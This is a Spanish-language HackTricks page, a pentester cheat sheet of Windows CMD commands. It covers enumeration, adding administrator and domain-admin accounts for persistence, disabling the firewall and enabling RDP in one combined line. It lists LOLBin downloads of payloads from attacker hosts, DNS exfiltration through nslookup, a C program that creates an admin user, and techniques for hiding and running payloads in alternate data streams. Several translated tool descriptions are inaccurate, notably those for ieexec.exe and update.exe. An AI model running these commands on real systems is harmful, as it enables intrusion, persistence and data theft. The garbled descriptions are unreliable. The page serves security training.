hacktricks/windows-hardening/basic-cmd-for-pentesters.md
carlospolop 63bd9641c0 f
2023-06-05 20:33:24 +02:00

37 KiB

CMD básico de Windows para Pentesters

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

Información del sistema

Información de versión y parches

wmic os get osarchitecture || echo %PROCESSOR_ARCHITECTURE% #Get architecture
systeminfo
systeminfo | findstr /B /C:"OS Name" /C:"OS Version" #Get only that information
wmic computersystem LIST full #Get PC info

wmic qfe get Caption,Description,HotFixID,InstalledOn #Patches
wmic qfe list brief #Updates

hostname

DRIVERQUERY #3rd party driver vulnerable?

Entorno

set #List all environment variables

Algunas variables de entorno para destacar:

  • COMPUTERNAME: Nombre del equipo
  • TEMP/TMP: Carpeta temporal
  • USERNAME: Tu nombre de usuario
  • HOMEPATH/USERPROFILE: Directorio de inicio
  • windir: C:\Windows
  • OS: Sistema operativo Windows
  • LOGONSERVER: Nombre del controlador de dominio
  • USERDNSDOMAIN: Nombre de dominio para usar con DNS
  • USERDOMAIN: Nombre del dominio
nslookup %LOGONSERVER%.%USERDNSDOMAIN% #DNS request for DC

Discos montados

(wmic logicaldisk get caption 2>nul | more) || (fsutil fsinfo drives 2>nul)
wmic logicaldisk get caption,description,providername

Defender

Papelera de reciclaje

dir C:\$Recycle.Bin /s /b

Procesos, Servicios y Software

schtasks /query /fo LIST /v #Verbose out of scheduled tasks
schtasks /query /fo LIST 2>nul | findstr TaskName
schtasks /query /fo LIST /v > schtasks.txt; cat schtask.txt | grep "SYSTEM\|Task To Run" | grep -B 1 SYSTEM
tasklist /V #List processes
tasklist /SVC #links processes to started services
net start #Windows Services started
wmic service list brief #List services
sc query #List of services
dir /a "C:\Program Files" #Installed software
dir /a "C:\Program Files (x86)" #Installed software
reg query HKEY_LOCAL_MACHINE\SOFTWARE #Installed software

Información del dominio

# Generic AD info
echo %USERDOMAIN% #Get domain name
echo %USERDNSDOMAIN% #Get domain name
echo %logonserver% #Get name of the domain controller
set logonserver #Get name of the domain controller
set log #Get name of the domain controller
gpresult /V # Get current policy applied
wmic ntdomain list /format:list	#Displays information about the Domain and Domain Controllers

# Users
dsquery user #Get all users
net user /domain #List all users of the domain
net user <ACCOUNT_NAME> /domain #Get information about that user
net accounts /domain #Password and lockout policy
wmic useraccount list /format:list #Displays information about all local accounts and any domain accounts that have logged into the device
wmic /NAMESPACE:\\root\directory\ldap PATH ds_user GET ds_samaccountname #Get all users
wmic /NAMESPACE:\\root\directory\ldap PATH ds_user where "ds_samaccountname='user_name'" GET # Get info of 1 users
wmic sysaccount list /format:list # Dumps information about any system accounts that are being used as service accounts.

# Groups
net group /domain #List of domain groups
net localgroup administrators /domain #List uses that belongs to the administrators group inside the domain (the group "Domain Admins" is included here)
net group "Domain Admins" /domain #List users with domain admin privileges
net group "domain computers" /domain #List of PCs connected to the domain
net group "Domain Controllers" /domain #List PC accounts of domains controllers
wmic group list /format:list # Information about all local groups
wmic /NAMESPACE:\\root\directory\ldap PATH ds_group GET ds_samaccountname #Get all groups
wmic /NAMESPACE:\\root\directory\ldap PATH ds_group where "ds_samaccountname='Domain Admins'" Get ds_member /Value #Members of the group
wmic path win32_groupuser where (groupcomponent="win32_group.name="domain admins",domain="DOMAIN_NAME"") #Members of the group

# Computers
dsquery computer #Get all computers
net view /domain #Lis of PCs of the domain
nltest /dclist:<DOMAIN> #List domain controllers
wmic /NAMESPACE:\\root\directory\ldap PATH ds_computer GET ds_samaccountname #All computers
wmic /NAMESPACE:\\root\directory\ldap PATH ds_computer GET ds_dnshostname #All computers

# Trust relations
nltest /domain_trusts #Mapping of the trust relationships

# Get all objects inside an OU
dsquery * "CN=Users,DC=INLANEFREIGHT,DC=LOCAL"

Registros y Eventos

#Make a security query using another credentials
wevtutil qe security /rd:true /f:text /r:helpline /u:HELPLINE\zachary /p:0987654321

Usuarios y Grupos

Usuarios

#Me
whoami /all #All info about me, take a look at the enabled tokens
whoami /priv #Show only privileges

# Local users
net users #All users
dir /b /ad "C:\Users"
net user %username% #Info about a user (me)
net accounts #Information about password requirements
wmic USERACCOUNT Get Domain,Name,Sid
net user /add [username] [password] #Create user

# Other users looged
qwinsta #Anyone else logged in?

#Lauch new cmd.exe with new creds (to impersonate in network)
runas /netonly /user<DOMAIN>\<NAME> "cmd.exe" ::The password will be prompted

#Check current logon session as administrator using logonsessions from sysinternals
logonsessions.exe
logonsessions64.exe

Grupos

#Local
net localgroup #All available groups
net localgroup Administrators #Info about a group (admins)
net localgroup administrators [username] /add #Add user to administrators

#Domain
net group /domain #Info about domain groups
net group /domain <domain_group_name> #Users that belongs to the group

Listar sesiones

qwinsta
klist sessions

Política de contraseñas

net accounts

Credenciales

cmdkey /list #List credential
vaultcmd /listcreds:"Windows Credentials" /all #List Windows vault
rundll32 keymgr.dll, KRShowKeyMgr #You need graphical access

Persistencia con usuarios

# Add domain user and put them in Domain Admins group
net user username password /ADD /DOMAIN
net group "Domain Admins" username /ADD /DOMAIN

# Add local user and put them local Administrators group
net user username password /ADD
net localgroup Administrators username /ADD

# Add user to insteresting groups:
net localgroup "Remote Desktop Users" UserLoginName  /add
net localgroup "Debugger users" UserLoginName /add
net localgroup "Power users" UserLoginName /add

Red

Interfaces, Rutas, Puertos, Hosts y DNSCache

ipconfig /all #Info about interfaces
route print #Print available routes
arp -a #Know hosts
netstat -ano #Opened ports?
type C:\WINDOWS\System32\drivers\etc\hosts
ipconfig /displaydns | findstr "Record" | findstr "Name Host"

Firewall

Un firewall es un software o hardware que se utiliza para controlar el tráfico de red entrante y saliente. Su objetivo es proteger la red de posibles amenazas externas, como ataques de hackers o malware. Los firewalls pueden ser configurados para permitir o bloquear ciertos tipos de tráfico de red, y pueden ser personalizados para satisfacer las necesidades específicas de una organización. Es importante tener un firewall configurado adecuadamente para garantizar la seguridad de la red.

netsh firewall show state # FW info, open ports
netsh advfirewall firewall show rule name=all
netsh firewall show config # FW info
Netsh Advfirewall show allprofiles

NetSh Advfirewall set allprofiles state off  #Turn Off
NetSh Advfirewall set allprofiles state on  #Trun On
netsh firewall set opmode disable #Turn Off

#How to open ports
netsh advfirewall firewall add rule name="NetBIOS UDP Port 138" dir=out action=allow protocol=UDP localport=138
netsh advfirewall firewall add rule name="NetBIOS TCP Port 139" dir=in action=allow protocol=TCP localport=139
netsh firewall add portopening TCP 3389 "Remote Desktop" 

#Enable Remote Desktop
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
netsh firewall add portopening TCP 3389 "Remote Desktop"
::netsh firewall set service remotedesktop enable #I found that this line is not needed
::sc config TermService start= auto #I found that this line is not needed
::net start Termservice #I found that this line is not needed

#Enable Remote Desktop with wmic
wmic rdtoggle where AllowTSConnections="0" call SetAllowTSConnections "1"
##or
wmic /node:remotehost path Win32_TerminalServiceSetting where AllowTSConnections="0" call SetAllowTSConnections "1"

#Enable Remote assistance:
reg add “HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server” /v fAllowToGetHelp /t REG_DWORD /d 1 /f
netsh firewall set service remoteadmin enable

#Ninja combo (New Admin User, RDP + Rassistance + Firewall allow)
net user hacker Hacker123! /add & net localgroup administrators hacker /add & net localgroup "Remote Desktop Users" hacker /add & reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f & reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fAllowToGetHelp /t REG_DWORD /d 1 /f & netsh firewall add portopening TCP 3389 "Remote Desktop" & netsh firewall set service remoteadmin enable

::Connect to RDP (using hash or password)
xfreerdp /u:alice /d:WORKGROUP /pth:b74242f37e47371aff835a6ebcac4ffe /v:10.11.1.49
xfreerdp /u:hacker /d:WORKGROUP /p:Hacker123! /v:10.11.1.49

Comparticiones

net view #Get a list of computers
net view /all /domain [domainname] #Shares on the domains
net view \\computer /ALL #List shares of a computer
net use x: \\computer\share #Mount the share locally
net share #Check current shares

Wifi

netsh wlan show profile #AP SSID
netsh wlan show profile <SSID> key=clear #Get Cleartext Pass

SNMP

El Protocolo Simple de Administración de Red (SNMP, por sus siglas en inglés) es un protocolo de red utilizado para administrar y supervisar dispositivos de red. SNMP permite a los administradores de red monitorear el rendimiento de los dispositivos de red, detectar y solucionar problemas de red y configurar dispositivos de red de forma remota. Los dispositivos de red que admiten SNMP tienen un agente SNMP que recopila información sobre el dispositivo y la envía a un servidor SNMP para su análisis.

reg query HKLM\SYSTEM\CurrentControlSet\Services\SNMP /s

Interfaces de Red

ipconfig /all

Tabla ARP

arp -A

Descarga

Bitsadmin.exe

bitsadmin /create 1 bitsadmin /addfile 1 https://live.sysinternals.com/autoruns.exe c:\data\playfolder\autoruns.exe bitsadmin /RESUME 1 bitsadmin /complete 1

CertReq.exe

CertReq.exe es una herramienta de línea de comandos que se utiliza para solicitar y emitir certificados digitales. Esta herramienta se utiliza comúnmente en entornos de Windows para automatizar el proceso de solicitud y emisión de certificados.

Sintaxis

La sintaxis básica de CertReq.exe es la siguiente:

certreq [opciones] [solicitud de certificado] [certificado emitido]

Opciones comunes

A continuación se presentan algunas de las opciones más comunes que se utilizan con CertReq.exe:

  • -new: Crea una nueva solicitud de certificado.
  • -submit: Envía una solicitud de certificado a una autoridad de certificación (CA) para su emisión.
  • -accept: Acepta un certificado emitido y lo instala en el almacén de certificados local.
  • -retrieve: Recupera un certificado emitido de una CA.
  • -sign: Firma un archivo con un certificado digital.
  • -policy: Especifica la política de certificación que se utilizará para la solicitud de certificado.

Ejemplos de uso

A continuación se presentan algunos ejemplos de cómo se puede utilizar CertReq.exe:

  • Crear una nueva solicitud de certificado:
certreq -new solicitud.inf certificado.cer
  • Enviar una solicitud de certificado a una CA:
certreq -submit solicitud.req certificado.cer
  • Aceptar un certificado emitido y agregarlo al almacén de certificados local:
certreq -accept certificado.cer
  • Recuperar un certificado emitido de una CA:
certreq -retrieve 1234 certificado.cer
  • Firmar un archivo con un certificado digital:
certreq -sign archivo.txt archivo.firmado.txt
  • Especificar la política de certificación que se utilizará para la solicitud de certificado:
certreq -new solicitud.inf certificado.cer -policy "Política de certificación"
CertReq -Post -config https://example.org/ c:\windows\win.ini output.txt

Certutil.exe es una herramienta de línea de comandos que se utiliza para administrar certificados en sistemas operativos Windows. Puede ser utilizado para instalar, eliminar y administrar certificados y listas de revocación de certificados (CRL). También puede ser utilizado para codificar y decodificar archivos y para verificar la firma digital de archivos. Certutil.exe es una herramienta útil para los pentesters que buscan obtener información sobre los certificados instalados en un sistema y para manipularlos para llevar a cabo ataques.

certutil.exe -urlcache -split -f "http://10.10.14.13:8000/shell.exe" s.exe

Desktopimgdownldr.exe

set "SYSTEMROOT=C:\Windows\Temp" && cmd /c desktopimgdownldr.exe /lockscreenurl:https://domain.com:8080/file.ext /eventName:desktopimgdownldr

Diantz.exe

diantz.exe \\remotemachine\pathToFile\file.exe c:\destinationFolder\file.cab

Esentutl.exe es una herramienta de línea de comandos que se utiliza para realizar tareas de mantenimiento y recuperación en bases de datos de Microsoft Jet (.mdb) y bases de datos de almacenamiento de Windows (.edb). Algunas de las tareas que se pueden realizar con esta herramienta incluyen la reparación de bases de datos corruptas, la compresión de bases de datos y la eliminación de bases de datos no utilizadas. Es una herramienta útil para los pentesters que trabajan en entornos de Windows, ya que puede ayudar a identificar y solucionar problemas relacionados con las bases de datos.

esentutl.exe /y \\live.sysinternals.com\tools\adrestore.exe /d \\otherwebdavserver\webdav\adrestore.exe /o

Expand.exe es una herramienta de línea de comandos de Windows que se utiliza para descomprimir archivos comprimidos en formato .cab. Puede ser útil para los pentesters ya que algunos archivos .cab pueden contener información sensible o archivos maliciosos que pueden ser explotados. La sintaxis básica de Expand.exe es la siguiente:

expand.exe <archivo.cab> [-r] [-d <ruta>]

Donde:

  • <archivo.cab> es el archivo .cab que se desea descomprimir.
  • -r es una opción opcional que indica que se deben descomprimir todos los archivos y subdirectorios del archivo .cab.
  • -d <ruta> es una opción opcional que indica la ruta donde se deben descomprimir los archivos. Si no se especifica, los archivos se descomprimirán en el directorio actual.
expand \\webdav\folder\file.bat c:\ADS\file.bat

Extrac32.exe es una herramienta de línea de comandos en Windows que se utiliza para extraer archivos de un archivo comprimido. Es similar a la herramienta expand.exe, pero Extrac32.exe es capaz de manejar archivos comprimidos en formato CAB. Para utilizar Extrac32.exe, simplemente abra una ventana de línea de comandos y escriba el comando seguido del nombre del archivo comprimido y la ubicación donde desea extraer los archivos.

extrac32 /Y /C \\webdavserver\share\test.txt C:\folder\test.txt

Findstr.exe

findstr es una herramienta de línea de comandos que se utiliza para buscar cadenas de texto en archivos. Es muy útil para buscar información en archivos de registro, archivos de configuración y otros archivos de texto.

Sintaxis

findstr [opciones] cadena [archivo(s)]

Opciones

  • /i: Ignora mayúsculas y minúsculas.
  • /s: Busca en subdirectorios.
  • /n: Muestra el número de línea junto con la cadena coincidente.
  • /v: Muestra las líneas que no contienen la cadena especificada.
  • /c: Cuenta el número de líneas que contienen la cadena especificada.
  • /m: Detiene la búsqueda después de encontrar una coincidencia.
  • /r: Utiliza expresiones regulares en lugar de cadenas literales.

Ejemplos

  • Buscar una cadena en un archivo:
findstr "cadena" archivo.txt
  • Buscar una cadena en varios archivos:
findstr "cadena" archivo1.txt archivo2.txt archivo3.txt
  • Buscar una cadena en todos los archivos de un directorio:
findstr "cadena" *
  • Buscar una cadena en todos los archivos de un directorio y sus subdirectorios:
findstr /s "cadena" *
  • Buscar una cadena en un archivo y mostrar el número de línea:
findstr /n "cadena" archivo.txt
  • Buscar una cadena en un archivo y mostrar las líneas que no contienen la cadena:
findstr /v "cadena" archivo.txt
  • Contar el número de líneas que contienen una cadena en un archivo:
findstr /c "cadena" archivo.txt
  • Utilizar una expresión regular para buscar una cadena en un archivo:
findstr /r "expresión regular" archivo.txt
findstr /V /L W3AllLov3DonaldTrump \\webdavserver\folder\file.exe > c:\ADS\file.exe

Ftp.exe

ftp.exe es una herramienta de línea de comandos que se utiliza para transferir archivos entre sistemas a través del protocolo FTP (File Transfer Protocol). Es una herramienta muy útil para los pentesters, ya que les permite transferir archivos desde y hacia un sistema comprometido.

Comandos básicos

Conexión

Para conectarse a un servidor FTP, se utiliza el siguiente comando:

ftp <ip_address>

Inicio de sesión

Una vez conectado al servidor, se debe iniciar sesión con un nombre de usuario y una contraseña. Para hacerlo, se utiliza el siguiente comando:

user <username> <password>

Descarga de archivos

Para descargar un archivo desde el servidor FTP, se utiliza el siguiente comando:

get <filename>

Subida de archivos

Para subir un archivo al servidor FTP, se utiliza el siguiente comando:

put <filename>

Cambio de directorio

Para cambiar el directorio actual en el servidor FTP, se utiliza el siguiente comando:

cd <directory>

Listado de archivos

Para listar los archivos en el directorio actual del servidor FTP, se utiliza el siguiente comando:

ls

Salida

Para salir de la sesión FTP, se utiliza el siguiente comando:

bye

Ejemplo de uso

A continuación, se muestra un ejemplo de cómo utilizar ftp.exe para descargar un archivo desde un servidor FTP:

ftp 192.168.1.100
user username password
get file.txt
bye
cmd.exe /c "@echo open attacker.com 21>ftp.txt&@echo USER attacker>>ftp.txt&@echo PASS PaSsWoRd>>ftp.txt&@echo binary>>ftp.txt&@echo GET /payload.exe>>ftp.txt&@echo quit>>ftp.txt&@ftp -s:ftp.txt -v"

GfxDownloadWrapper.exe

C:\Windows\System32\DriverStore\FileRepository\igdlh64.inf_amd64_[0-9]+\GfxDownloadWrapper.exe "URL" "DESTINATION FILE"

Hh.exe es un ejecutable de Windows que se utiliza para mostrar archivos de ayuda HTML. Puede ser utilizado por los atacantes para ejecutar comandos arbitrarios en un sistema comprometido. Es importante tener en cuenta que hh.exe no es un archivo malicioso en sí mismo, sino que es una herramienta legítima que puede ser utilizada de manera malintencionada.

HH.exe http://some.url/script.ps1

ieexec.exe

El archivo ieexec.exe es un ejecutable de Windows que se utiliza para ejecutar comandos de Internet Explorer desde la línea de comandos. Este archivo se encuentra en la carpeta System32 de Windows y se utiliza principalmente para automatizar tareas en Internet Explorer.

Sintaxis

La sintaxis básica para utilizar ieexec.exe es la siguiente:

ieexec.exe "comando"

Donde "comando" es el comando que se desea ejecutar en Internet Explorer.

Ejemplos de uso

Abrir una URL en Internet Explorer

ieexec.exe "https://www.google.com"

Ejecutar un script de JavaScript en una página web

ieexec.exe "javascript:alert('Hola, mundo!');"

Cerrar todas las ventanas de Internet Explorer

ieexec.exe "taskkill /f /im iexplore.exe"

Consideraciones de seguridad

El uso de ieexec.exe puede ser peligroso si se utiliza de manera malintencionada. Los atacantes pueden utilizar este archivo para ejecutar comandos maliciosos en un sistema comprometido. Por lo tanto, se recomienda restringir el acceso a ieexec.exe y monitorear su uso en entornos corporativos.

ieexec.exe http://x.x.x.x:8080/bypass.exe

Makecab.exe

Makecab.exe es una herramienta de línea de comandos que se utiliza para comprimir uno o varios archivos en un archivo .cab. Este archivo comprimido puede ser útil para transferir archivos a través de la red o para ahorrar espacio en disco.

Sintaxis

makecab [/V[n]] [/D var=value ...] [/L dir] [/F directive_file] source [destination]

Ejemplos

Comprimir un archivo:

makecab archivo.txt

Comprimir varios archivos:

makecab archivo1.txt archivo2.txt archivo3.txt

Comprimir un archivo y especificar el nombre del archivo de destino:

makecab archivo.txt archivo.cab

Comprimir un archivo y especificar la ubicación del archivo de destino:

makecab archivo.txt C:\carpeta\archivo.cab

Referencias

makecab \\webdavserver\webdav\file.exe C:\Folder\file.cab

MpCmdRun.exe es una herramienta de línea de comandos que se utiliza para administrar y actualizar Windows Defender. Con esta herramienta, los pentesters pueden realizar análisis de seguridad en el sistema y verificar si hay algún malware presente. Algunos de los comandos útiles que se pueden utilizar con MpCmdRun.exe son:

  • MpCmdRun.exe -Scan -ScanType 2: realiza un análisis completo del sistema en busca de malware.
  • MpCmdRun.exe -SignatureUpdate: actualiza las firmas de virus de Windows Defender.
  • MpCmdRun.exe -RemoveDefinitions -All: elimina todas las definiciones de virus antiguas de Windows Defender.
  • MpCmdRun.exe -RestoreDefaults: restaura la configuración predeterminada de Windows Defender.

Es importante tener en cuenta que MpCmdRun.exe requiere permisos de administrador para ejecutarse correctamente.

MpCmdRun.exe -DownloadFile -url <URL> -path <path> //Windows Defender executable

Replace.exe

Replace.exe es una herramienta de línea de comandos que se utiliza para reemplazar archivos. Es útil para reemplazar archivos que están en uso y no se pueden eliminar o reemplazar de otra manera.

Sintaxis

replace.exe <archivo_original> <archivo_nuevo> [<archivo_de_respaldo>] [/A] [/R] [/S] [/U] [/P] [/W]

Opciones

  • <archivo_original>: especifica el archivo que se va a reemplazar.
  • <archivo_nuevo>: especifica el archivo que se va a utilizar para reemplazar el archivo original.
  • <archivo_de_respaldo>: especifica el archivo de respaldo que se creará si se utiliza la opción /A.
  • /A: crea un archivo de respaldo antes de reemplazar el archivo original.
  • /R: reemplaza los archivos de solo lectura.
  • /S: reemplaza los archivos en subdirectorios.
  • /U: reemplaza los archivos que son más nuevos que el archivo original.
  • /P: solicita confirmación antes de reemplazar cada archivo.
  • /W: espera a que se complete el reemplazo antes de continuar.

Ejemplos

Reemplazar un archivo:

replace.exe archivo_original.txt archivo_nuevo.txt

Reemplazar un archivo y crear un archivo de respaldo:

replace.exe archivo_original.txt archivo_nuevo.txt archivo_de_respaldo.txt /A

Reemplazar un archivo en subdirectorios:

replace.exe archivo_original.txt archivo_nuevo.txt /S
replace.exe \\webdav.host.com\foo\bar.exe c:\outdir /A

Excel.exe es el ejecutable del programa Microsoft Excel, utilizado para crear y editar hojas de cálculo.

Excel.exe http://192.168.1.10/TeamsAddinLoader.dll

Powerpnt.exe es el ejecutable del programa Microsoft PowerPoint, utilizado para crear presentaciones multimedia.

Powerpnt.exe "http://192.168.1.10/TeamsAddinLoader.dll"

Squirrel.exe

squirrel.exe es una herramienta de línea de comandos que se utiliza para instalar y actualizar aplicaciones de Windows. Es comúnmente utilizado en aplicaciones de escritorio y en aplicaciones de Windows alojadas en la nube.

La herramienta se utiliza para descargar y actualizar paquetes de aplicaciones, y también se encarga de la instalación y desinstalación de aplicaciones. Squirrel.exe es compatible con varios formatos de paquetes, incluyendo .nupkg, .zip y .tar.gz.

Squirrel.exe también se utiliza en aplicaciones de Windows que se ejecutan en contenedores Docker. En este caso, se utiliza para instalar y actualizar aplicaciones dentro del contenedor.

Los pentesters pueden utilizar Squirrel.exe para buscar vulnerabilidades en aplicaciones de Windows que utilizan esta herramienta para la instalación y actualización de aplicaciones.

squirrel.exe --download [url to package]

Update.exe

update.exe es un archivo ejecutable que se utiliza para actualizar software en sistemas Windows. Este archivo se encuentra comúnmente en la carpeta C:\Windows\System32 y se ejecuta automáticamente cuando se inicia el sistema.

Sin embargo, update.exe también puede ser utilizado por atacantes para ejecutar malware en un sistema comprometido. Por lo tanto, es importante verificar la ubicación y el hash del archivo update.exe para asegurarse de que no ha sido modificado.

Además, es recomendable bloquear el acceso a update.exe desde la red utilizando un firewall para evitar posibles ataques de malware que intenten descargar archivos maliciosos a través de este archivo.

En resumen, update.exe es una herramienta útil para mantener actualizado el software en sistemas Windows, pero también puede ser utilizada por atacantes para ejecutar malware. Por lo tanto, es importante tomar medidas de seguridad para protegerse contra posibles ataques.

Update.exe --download [url to package]

Winword.exe es el proceso que se encarga de ejecutar el programa Microsoft Word en sistemas operativos Windows.

winword.exe "http://192.168.1.10/TeamsAddinLoader.dll"

wsl.exe es una herramienta de línea de comandos que permite interactuar con el Subsistema de Windows para Linux (WSL). Con wsl.exe, los usuarios pueden ejecutar comandos de Linux directamente desde la línea de comandos de Windows. Esto es útil para aquellos que necesitan acceder a herramientas de Linux mientras trabajan en un entorno de Windows.

wsl.exe --exec bash -c 'cat < /dev/tcp/192.168.1.10/54 > binary'

Miscelánea

cd #Get current dir
cd C:\path\to\dir #Change dir
dir #List current dir
dir /a:h C:\path\to\dir #List hidden files
dir /s /b #Recursive list without shit
time #Get current time
date #Get current date
shutdown /r /t 0 #Shutdown now
type <file> #Cat file

#Runas
runas /savecred /user:WORKGROUP\Administrator "\\10.XXX.XXX.XXX\SHARE\evil.exe" #Use saved credentials
runas /netonly /user:<DOMAIN>\<NAME> "cmd.exe" ::The password will be prompted

#Hide
attrib +h file #Set Hidden
attrib -h file #Quit Hidden

#Give full control over a file that you owns
icacls <FILE_PATH> /t /e /p <USERNAME>:F
icacls <FILE_PATH> /e /r <USERNAME> #Remove the permision

#Recursive copy to smb
xcopy /hievry C:\Users\security\.yawcam \\10.10.14.13\name\win

#exe2bat to transform exe file in bat file

#ADS
dir /r #Detect ADS
more file.txt:ads.txt #read ADS
powershell (Get-Content file.txt -Stream ads.txt)

# Get error messages from code
net helpmsg 32 #32 is the code in that case

Saltar la lista negra de caracteres

echo %HOMEPATH:~6,-11%   #\
who^ami   #whoami

DOSfuscation

Genera una línea de CMD obfuscada.

git clone https://github.com/danielbohannon/Invoke-DOSfuscation.git
cd Invoke-DOSfuscation
Import-Module .\Invoke-DOSfuscation.psd1
Invoke-DOSfuscation
help
SET COMMAND type C:\Users\Administrator\Desktop\flag.txt
encoding

ACLs de dirección de escucha

Puedes escuchar en http://+:80/Temporary_Listen_Addresses/ sin ser administrador.

netsh http show urlacl

Shell DNS manual

El atacante (Kali) debe usar una de estas 2 opciones:

sudo responder -I <iface> #Active
sudo tcpdump -i <iface> -A proto udp and dst port 53 and dst ip <KALI_IP> #Passive

Víctima

for /f tokens _**_técnica: Esto nos permite ejecutar comandos, obtener las primeras X palabras de cada línea y enviarlas a través de DNS a nuestro servidor.

for /f %a in ('whoami') do nslookup %a <IP_kali> #Get whoami
for /f "tokens=2" %a in ('echo word1 word2') do nslookup %a <IP_kali> #Get word2
for /f "tokens=1,2,3" %a in ('dir /B C:\') do nslookup %a.%b.%c <IP_kali> #List folder
for /f "tokens=1,2,3" %a in ('dir /B "C:\Program Files (x86)"') do nslookup %a.%b.%c <IP_kali> #List that folder
for /f "tokens=1,2,3" %a in ('dir /B "C:\Progra~2"') do nslookup %a.%b.%c <IP_kali> #Same as last one
#More complex commands
for /f "tokens=1,2,3,4,5,6,7,8,9" %a in ('whoami /priv ^| findstr /i "enable"') do nslookup %a.%b.%c.%d.%e.%f.%g.%h.%i <IP_kali> #Same as last one

También puedes redirigir la salida y luego leerla.

whoami /priv | finstr "Enab" > C:\Users\Public\Documents\out.txt
for /f "tokens=1,2,3,4,5,6,7,8,9" %a in ('type "C:\Users\Public\Documents\out.txt"') do nslookup %a.%b.%c.%d.%e.%f.%g.%h.%i <IP_kali>

Llamando a CMD desde código C

#include <stdlib.h>     /* system, NULL, EXIT_FAILURE */

// When executed by Administrator this program will create a user and then add him to the administrators group
// i686-w64-mingw32-gcc addmin.c -o addmin.exe
// upx -9 addmin.exe

int main (){
    int i;
    i=system("net users otherAcc 0TherAcc! /add");
    i=system("net localgroup administrators otherAcc /add");
    return 0;
}

Hoja de trucos de corrientes de datos alternativas (ADS/Alternate Data Stream)

Tomado de https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f

##Add content to ADS###
type C:\temp\evil.exe > "C:\Program Files (x86)\TeamViewer\TeamViewer12_Logfile.log:evil.exe"
extrac32 C:\ADS\procexp.cab c:\ADS\file.txt:procexp.exe
findstr /V /L W3AllLov3DonaldTrump c:\ADS\procexp.exe > c:\ADS\file.txt:procexp.exe
certutil.exe -urlcache -split -f https://raw.githubusercontent.com/Moriarty2016/git/master/test.ps1 c:\temp:ttt
makecab c:\ADS\autoruns.exe c:\ADS\cabtest.txt:autoruns.cab
print /D:c:\ads\file.txt:autoruns.exe c:\ads\Autoruns.exe
reg export HKLM\SOFTWARE\Microsoft\Evilreg c:\ads\file.txt:evilreg.reg
regedit /E c:\ads\file.txt:regfile.reg HKEY_CURRENT_USER\MyCustomRegKey
expand \\webdav\folder\file.bat c:\ADS\file.txt:file.bat
esentutl.exe /y C:\ADS\autoruns.exe /d c:\ADS\file.txt:autoruns.exe /o
powershell -command " & {(Get-Content C:\ADS\file.exe -Raw | Set-Content C:\ADS\file.txt -Stream file.exe)}"
curl file://c:/temp/autoruns.exe --output c:\temp\textfile1.txt:auto.exe
cmd.exe /c echo regsvr32.exe ^/s ^/u ^/i:https://evilsite.com/RegSvr32.sct   ^scrobj.dll > fakefile.doc:reg32.bat
set-content - path {path to the file} - stream {name of the stream}

## Discover ADS contecnt
dir /R 
streams.exe <c:\path\to\file> #Binary from sysinternals#
Get-Item -Path .\fie.txt -Stream *
gci -recurse | % { gi $_.FullName -stream * } | where stream -ne ':$Data'

##Extract content from ADS###
expand c:\ads\file.txt:test.exe c:\temp\evil.exe
esentutl.exe /Y C:\temp\file.txt:test.exe /d c:\temp\evil.exe /o
more < c:\ads\file.txt:test.exe

##Executing the ADS content###

* WMIC
wmic process call create '"C:\Program Files (x86)\TeamViewer\TeamViewer12_Logfile.log:evil.exe"'

* Rundll32
rundll32 "C:\Program Files (x86)\TeamViewer\TeamViewer13_Logfile.log:ADSDLL.dll",DllMain
rundll32.exe advpack.dll,RegisterOCX not_a_dll.txt:test.dll
rundll32.exe ieadvpack.dll,RegisterOCX not_a_dll.txt:test.dll

* Cscript
cscript "C:\Program Files (x86)\TeamViewer\TeamViewer13_Logfile.log:Script.vbs"

* Wscript
wscript c:\ads\file.txt:script.vbs
echo GetObject("script:https://raw.githubusercontent.com/sailay1996/misc-bin/master/calc.js") > %temp%\test.txt:hi.js && wscript.exe %temp%\test.txt:hi.js

* Forfiles
forfiles /p c:\windows\system32 /m notepad.exe /c "c:\temp\shellloader.dll:bginfo.exe"

* Mavinject.exe
c:\windows\SysWOW64\notepad.exe
tasklist | findstr notepad
notepad.exe                   4172 31C5CE94259D4006           2     18,476 K
type c:\temp\AtomicTest.dll > "c:\Program Files (x86)\TeamViewer\TeamViewer13_Logfile.log:Atomic.dll"
c:\windows\WinSxS\wow64_microsoft-windows-appmanagement-appvwow_31bf3856ad364e35_10.0.16299.15_none_e07aa28c97ebfa48\mavinject.exe 4172 /INJECTRUNNING "c:\Program Files (x86)\TeamViewer\TeamViewer13_Logfile.log:Atomic.dll"

* MSHTA
mshta "C:\Program Files (x86)\TeamViewer\TeamViewer13_Logfile.log:helloworld.hta"
(Does not work on Windows 10 1903 and newer)

* Control.exe
control.exe c:\windows\tasks\zzz:notepad_reflective_x64.dll
https://twitter.com/bohops/status/954466315913310209

* Create service and run
sc create evilservice binPath= "\"c:\ADS\file.txt:cmd.exe\" /c echo works > \"c:\ADS\works.txt\"" DisplayName= "evilservice" start= auto
sc start evilservice
https://oddvar.moe/2018/04/11/putting-data-in-alternate-data-streams-and-how-to-execute-it-part-2/

* Powershell.exe
powershell -ep bypass - < c:\temp:ttt

* Powershell.exe
powershell -command " & {(Get-Content C:\ADS\1.txt -Stream file.exe -Raw | Set-Content c:\ADS\file.exe) | start-process c:\ADS\file.exe}"

* Powershell.exe
Invoke-CimMethod -ClassName Win32_Process -MethodName Create -Arguments @{CommandLine = C:\ads\folder:file.exe}

* Regedit.exe
regedit c:\ads\file.txt:regfile.reg

* Bitsadmin.exe
bitsadmin /create myfile
bitsadmin /addfile myfile c:\windows\system32\notepad.exe c:\data\playfolder\notepad.exe
bitsadmin /SetNotifyCmdLine myfile c:\ADS\1.txt:cmd.exe NULL
bitsadmin /RESUME myfile

* AppVLP.exe
AppVLP.exe c:\windows\tracing\test.txt:ha.exe

* Cmd.exe
cmd.exe - < fakefile.doc:reg32.bat
https://twitter.com/yeyint_mth/status/1143824979139579904

* Ftp.exe
ftp -s:fakefile.txt:aaaa.txt
https://github.com/sailay1996/misc-bin/blob/master/ads.md

